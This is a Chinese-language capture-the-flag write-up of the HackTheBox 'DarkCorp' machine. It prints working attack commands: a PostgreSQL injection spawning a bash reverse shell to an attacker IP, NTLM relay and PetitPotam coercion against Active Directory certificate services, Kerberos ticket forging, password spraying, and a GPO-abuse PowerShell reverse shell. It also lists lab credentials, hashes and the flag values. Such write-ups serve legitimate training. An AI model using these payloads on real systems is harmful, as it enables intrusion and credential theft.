# HTB-DarkCorp ![image](https://hackmd.io/_uploads/SJ9XsKirll.png) --- ## 偵查 ![image](https://hackmd.io/_uploads/BkVlntsSxl.png) ![image](https://hackmd.io/_uploads/rytC2tiHlx.png) 查了 nginx 1.22.1 發現有一個 CVE-2022-45771 https://github.com/yuriisanin/CVE-2022-45771?tab=readme-ov-file 進網頁之後也只有辦帳號登入得選項 ![image](https://hackmd.io/_uploads/Skumr9jSxl.png) 當我在看登入的原始碼得時候看到他有跑一段建立 mail 得程式 ![image](https://hackmd.io/_uploads/HJC8rcsBlg.png) 後面我抓包,發現這個 nginx 的漏洞似乎有可能利用 ![image](https://hackmd.io/_uploads/B1q3BcoSeg.png) 想不到怎麼用🤔 ## dripmail 我新辦了一個帳號 root,結果我就收到一個 cron 看來是定期會執行 /root/scripts/mail_clean.sh 裡面有兩個帳號 ebelford、support ![image](https://hackmd.io/_uploads/SyglJjiBxl.png) 所以我回去原本的網頁,然後輸入自己剛剛創的帳號 ![image](https://hackmd.io/_uploads/HJ6dlshBxe.png) 用 burpsuit 攔截之後把 recipient 的 mail 改成自己 ![image](https://hackmd.io/_uploads/rkqili2rle.png) 回去信箱之後發現它寄了一些資訊過來,還有一個新的身分 bcase 他說如果收到了釣魚信的話請將整封釣魚信寄給他們的安全工程師 ![image](https://hackmd.io/_uploads/H1OTlohSle.png) 這邊找一下有沒有可以用的資訊,查版本可以發現有一個 CVE CVE-2024-42009 ![image](https://hackmd.io/_uploads/SyJQmjnBgl.png) ![image](https://hackmd.io/_uploads/BykG7s3rgx.png) ### CVE-2024-42009 我用這個 github 然後把傳送的帳號改成我創的帳號 https://github.com/Bhanunamikaze/CVE-2024-42009.git ![image](https://hackmd.io/_uploads/SkbkRanrex.png) 有一個新的名字跟網域 Bryce dev-a3f1-01.drip.htb ![image](https://hackmd.io/_uploads/Hy-l0T2Sxl.png) 加進去 ![image](https://hackmd.io/_uploads/rkFwRa2rlx.png) 訪問網頁 ![image](https://hackmd.io/_uploads/HJPp0phree.png) 就跟信裡說的一樣,要去重設密碼 ![image](https://hackmd.io/_uploads/Bk4gyA3Hex.png) 這邊要輸入 bcase@drip.htb 然後用前面的漏洞再抓一次 這邊它給我一個 5 分鐘的重製密碼連結,我把密碼改成 123 ![image](https://hackmd.io/_uploads/HkvTJChrel.png) ## dashboard 登入進來 ![image](https://hackmd.io/_uploads/SksXxR3Blx.png) 這邊可以看到所有 username 跟 ip ![image](https://hackmd.io/_uploads/H1KdgRhSgl.png) ![image](https://hackmd.io/_uploads/rygFl0hSll.png) 我在查詢這裡輸入了 123 ,這裡可以 sqli ![image](https://hackmd.io/_uploads/BkxlWA2reg.png) 這是 PostgreSQL ![image](https://hackmd.io/_uploads/Hyu9fCnrex.png) 我去查了一個可以看使用者目錄的函數 pg_ls_dir() https://pgpedia.info/p/pg_ls_dir.html ![image](https://hackmd.io/_uploads/H1TZ7C3Blg.png) 這是可以讀檔案的函數 pg_read_file() https://pgpedia.info/p/pg_read_file.html 我在這裡找到設定檔 /var/www/html/dashboard/.env ![image](https://hackmd.io/_uploads/HyezgVRnSle.png) 裡面有一些密碼 dripmail_dba:2Qa2SsBkQvsc ![image](https://hackmd.io/_uploads/HJqfNA3Blx.png) ```postgresql= '';DO $$ DECLARE c text; BEGIN c := CHR(67) || CHR(79) || CHR(80) || CHR(89) || ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.16.3/1234 0>&1"'''; EXECUTE c; END $$; ``` 這裡可以看到為甚麼上面這串會成功 https://medium.com/r3d-buck3t/command-execution-with-postgresql-copy-command-a79aef9c2767 ![image](https://hackmd.io/_uploads/ryM_P02Hlx.png) ## postgresql 內網還有機器 ![image](https://hackmd.io/_uploads/BJDnvAnSgl.png) bcase | 202cb962ac59075b964b07152d234b70 ![image](https://hackmd.io/_uploads/ByfFq0hBll.png) 還是找到一些密碼,但這不是機器的帳號的密碼 ![image](https://hackmd.io/_uploads/S1OZj02Bgl.png) 這台機器有很多身分 ![image](https://hackmd.io/_uploads/rJcDk16Hgl.png) 前面有找到一個 env 檔案,裡面有資料庫的 root 帳號 在 /var/backups/postgres 裡面應該是舊的資料庫資料 ```pgp= gpg --use-agent --homedir /var/lib/postgresql/.gnupg --pinentry-mode=loopback --passphrase 2Qa2SsBkQvsc --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > dev-dripmail.old.sql ``` ![image](https://hackmd.io/_uploads/Syry-yaSge.png) 這應該是我們要的密碼,雖然如果不看別人做過根本就不知道這麼多密碼到底要用哪個 ![image](https://hackmd.io/_uploads/S1nS-1prll.png) 這是 MD5 ebelford:ThePlague61780 victor.r:`victor1gustavo@#` ![image](https://hackmd.io/_uploads/HJk_zJ6Bxx.png) 掃這個帳戶知道是 ssh ![image](https://hackmd.io/_uploads/rykDQ16Hxe.png) ## ebelford ![image](https://hackmd.io/_uploads/By8WV1TSxl.png) 我們在 172.16.20.3 ## do ligo ![image](https://hackmd.io/_uploads/r1YvE16rxx.png) 為了要去掃它,要建一個反向的隧道,可以用 ligolo或是 chisel 如果我之後回來看,又忘記 ligolo 怎麼用,點下面那個或是用 chisel https://yowlab.idv.tw/wordpress/?p=1282 ![image](https://hackmd.io/_uploads/BJ1FAy6Bge.png) 先設 IP ![image](https://hackmd.io/_uploads/Byu97xTSlx.png) https://github.com/nicocha30/ligolo-ng/releases 這裡可以下載 agent ,然後要把 agent 傳到目標機器 ![image](https://hackmd.io/_uploads/HkG27xTSxe.png) 把 proxy 打開之後它會隨機給你一個 port 用那個 port 到 agent 那裏,讓我們連過去 ![image](https://hackmd.io/_uploads/rJKT9e6Hxl.png) nmap 掃了前三個 ip 我只傳了前兩個,因為我們是第三個 ![image](https://hackmd.io/_uploads/HkjghlpHee.png) ![image](https://hackmd.io/_uploads/SJYb2xTrll.png) ![image](https://hackmd.io/_uploads/SyPMhlaHxl.png) ## ip 2 理論上它要有邏輯,應該是先從 3 -> 2 -> 1 所以我去 2 我訪問 port 5000 他要我輸入密碼 這邊密碼就是前面解出得其中一組密碼 victor.r:`victor1gustavo@#` ![image](https://hackmd.io/_uploads/ryXu6laBlx.png) 我先把這些資訊放進 /etc/hosts ![image](https://hackmd.io/_uploads/rk95AepSll.png) 它有開 smb ![image](https://hackmd.io/_uploads/Hyl3yZTSgl.png) 正要用 bloodhound 發現它在掃描 ldap 的時候出錯了 ![image](https://hackmd.io/_uploads/SkeqxW6Bxg.png) 在這裡設定 dnat /etc/proxychains4.conf PS. 這些 ip 或是 port 都有它的意義 ![image](https://hackmd.io/_uploads/rJmxsZ6Hex.png) `sshpass -p'ThePlague61780' ssh -o StrictHostKeyChecking=no -D 9050 ebelford@drip.htb` 接著要連到 ebelford 為甚麼呢,因為這等於是用 ssh 接一個通道 主要不是為了找東西,而是連進去,後面才不會報錯 ![image](https://hackmd.io/_uploads/SyRGsWaSeg.png) ```bash= proxychains4 bloodhound-python -c All -u victor.r@darkcorp.htb -p 'victor1gustavo@#' -dc dc-01.darkcorp.htb -d darkcorp.htb -ns 172.16.20.1 --dns-tcp --dns-timeout 10 --zip ``` 這個 bloodhound 算是伏筆,因為在現階段啥都沒辦法用 所以只能去網路上找 writeup 以及試著通靈 --- ## CVE-2025-33073 這是今年 6 月中所公開的 CVE (現在 7 月中) 要解釋跟說明太多東西了,強烈建議看下面這篇文章 https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 ### 前情提要 我有用 chisel ,不要問我為啥不設定 ligolo 我挑我會的做 ![image](https://hackmd.io/_uploads/HkdikcQLgx.png) ![image](https://hackmd.io/_uploads/rkm3J9mLge.png) ### 注意事項 即使衝到線也不要理他 要更新 impacket 所以要開虛擬 python 因為是要更新 openssl 所以要重開一下 reverse 的通道 或是有設定 dns 的話重設一下 ### 攻擊 A、B 同時跑 注意上面選項正確之後按 check ![image](https://hackmd.io/_uploads/SyYeRFQUel.png) 跑完確定 dns 有塞入之後 這個是 A ```bash= impacket-ntlmrelayx -t "ldap://172.16.20.1" --no-smb-server --no-dump --no-da --no-acl --no-validate-privs --add-dns-record 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.14.5 ``` ![image](https://hackmd.io/_uploads/r1pco_7Ile.png) ![image](https://hackmd.io/_uploads/rkJnhO7Lge.png) 這個是 B ```python= python3 krbrelayx.py -t 'https://dc-01.darkcorp.htb/certsrv/certfnsh.asp' --adcs -v 'WEB01$' ``` ![image](https://hackmd.io/_uploads/H1OlTtQUxl.png) 在 AB 都是運行並且 A 的 dns 塞進去之後 運行這個,他不管怎樣都會寫攻擊有效 ```bash= python3 PetitPotam.py -u victor.r -p 'victor1gustavo@#' -d darkcorp.htb 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' web-01 ``` ![image](https://hackmd.io/_uploads/Hytva_mIex.png) 最後 B 應該要出現這個畫面,如果沒有的話,那上面那個多送幾遍就好了 ![image](https://hackmd.io/_uploads/r1CYCF7Ugx.png) 最後他會送你一個 `PKCS#12` 的驗證的檔案 ![image](https://hackmd.io/_uploads/H1cyxq7Lxg.png) 這名字太煩了所以我改掉了 ![image](https://hackmd.io/_uploads/H17Ygqm8xl.png) `sudo ntpdate -u 172.16.20.1` `certipy-ad auth -pfx web01.pfx -dc-ip 172.16.20.1 -ns 172.16.20.1` ``` web-01$@darkcorp.htb: aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675 ``` ![image](https://hackmd.io/_uploads/B15ufqXLee.png) `nxc ldap dc-01.darkcorp.htb -u 'victor.r' -p 'victor1gustavo@#' --get-sid` > S-1-5-21-3432610366-2163336488-3604236847 ![image](https://hackmd.io/_uploads/Hk8H7qQ8lg.png) ```bash= impacket-ticketer -nthash 8f33c7fc7ff515c1f358e488fbb8b675 -domain-sid S-1-5-21-3432610366-2163336488-3604236847 -domain darkcorp.htb -spn cifs/web-01.darkcorp.htb Administrator ``` ![image](https://hackmd.io/_uploads/SJqKmcmLgg.png) `export KRB5CCNAME=./Administrator.ccache` ```bash= impacket-wmiexec Administrator@web-01.darkcorp.htb -k -no-pass -debug ``` ![image](https://hackmd.io/_uploads/SkoyVc7Ilg.png) ### 172.16.20.2 admin ![image](https://hackmd.io/_uploads/HypWVc7Ile.png) 不是這啥 ![image](https://hackmd.io/_uploads/r1AmBcmLgg.png) ## user.txt 真是艱辛 e06ddf92e36c92a3be4f3e2e3f9529ea ![image](https://hackmd.io/_uploads/HkR_H97Lxe.png) --- `impacket-secretsdump Administrator@web-01.darkcorp.htb -k -no-pass` `Administrator:500:aad3b435b51404eeaad3b435b51404ee:88d84ec08dad123eb04a060a74053f21` ![image](https://hackmd.io/_uploads/SJON_9mLxe.png) `nxc smb web-01.darkcorp.htb -u Administrator -H 88d84ec08dad123eb04a060a74053f21 --local-auth --dpapi` 他好像找不到真正的密碼 ![image](https://hackmd.io/_uploads/H1lV7sXUee.png) 這是某個批次系統的密碼 ![image](https://hackmd.io/_uploads/rkTXy7PLxx.png) ## DpApi? 所以我回去 admin 裡面找 dpapi 的訊息 ![image](https://hackmd.io/_uploads/By3m_7v8eg.png) 原本我是想說用 dpapi 解出一些訊息,理論上會解到另一個 user 的帳密 ![image](https://hackmd.io/_uploads/r1PsjXPLee.png) 但是這裡怎麼是空的,空的沒辦法解 ![image](https://hackmd.io/_uploads/Byd86mP8lg.png) ## kerbrute https://github.com/ropnop/kerbrute.git 所以我回去用老辦法,再爆破一次看看 這段程式碼會把比較高風險的密碼抓出來 ```python= def process_line(line): line = line.strip() if len(line) < 7: return None return line file_path = '/usr/share/wordlists/rockyou.txt' try: with open(file_path, 'r', errors='ignore') as file: with open("rockyou.txt", 'w', errors='ignore') as outfile: for line in file: line = process_line(line) if not line: continue outfile.write(line + "\n") except FileNotFoundError: print(f"Error: The file '{file_path}' was not found.") except Exception as e: print(f"An error occurred: {e}") ``` ```bash= ./kerbrute_linux_amd64 bruteuser filtered-wordlist.txt taylor.b.adm -d darkcorp.htb --dc dc-01 ``` 居然成功了🤔 `taylor.b.adm@darkcorp.htb:!QAZzaq1` ![image](https://hackmd.io/_uploads/SJ6pR7PUeg.png) --- ## taylor.b 他有開 wimrm ![image](https://hackmd.io/_uploads/SyqXlVDLlx.png) 回去 bloodhound 可以知道他是 gpo 的成員 ![image](https://hackmd.io/_uploads/HyQlGVwUeg.png) `Get-GPO -All` ``` SecurityUpdates 652cae9a-4bb7-49f2-9e52-3361f33ce786 ``` ![image](https://hackmd.io/_uploads/BkS174wUxg.png) https://github.com/Hackndo/pyGPOAbuse.git 記得先開監聽 ```python= python3 pygpoabuse.py darkcorp.htb/taylor.b.adm:'!QAZzaq1' -dc-ip 172.16.20.1 -gpo-id "652CAE9A-4BB7-49F2-9E52-3361F33CE786" -powershell -command "\$c = New-Object System.Net.Sockets.TCPClient('10.10.14.5',6363);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){ \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i); \$sb = (iex \$d 2>&1 | Out-String ); \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> '); \$s.Write(\$sb,0,\$sb.Length); \$s.Flush()};\$c.Close()" -taskname "MyTask" -description "123" ``` 把這串送出去之後 ![image](https://hackmd.io/_uploads/HkWhVEPIge.png) `gpupdate /force` 更新 ![image](https://hackmd.io/_uploads/rJD3NNwLge.png) 然後 ![image](https://hackmd.io/_uploads/rJUmS4DUex.png) 我們把 taylor 加進身分組 `net group "Domain Admins" taylor.b.adm /add` ![image](https://hackmd.io/_uploads/By1HHEvUxe.png) `impacket-secretsdump taylor.b.adm:'!QAZzaq1'@172.16.20.1 -just-dc-user Administrator` 然後把 hash dump 出來 `Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f` ![image](https://hackmd.io/_uploads/r1Q2rNDLgl.png) ## admin ![image](https://hackmd.io/_uploads/ryMGIEPUxg.png) ### root.txt ad71adaaa925b931ee83d39e98ea5b32 ![image](https://hackmd.io/_uploads/HJcBU4DUlx.png) TheENd ---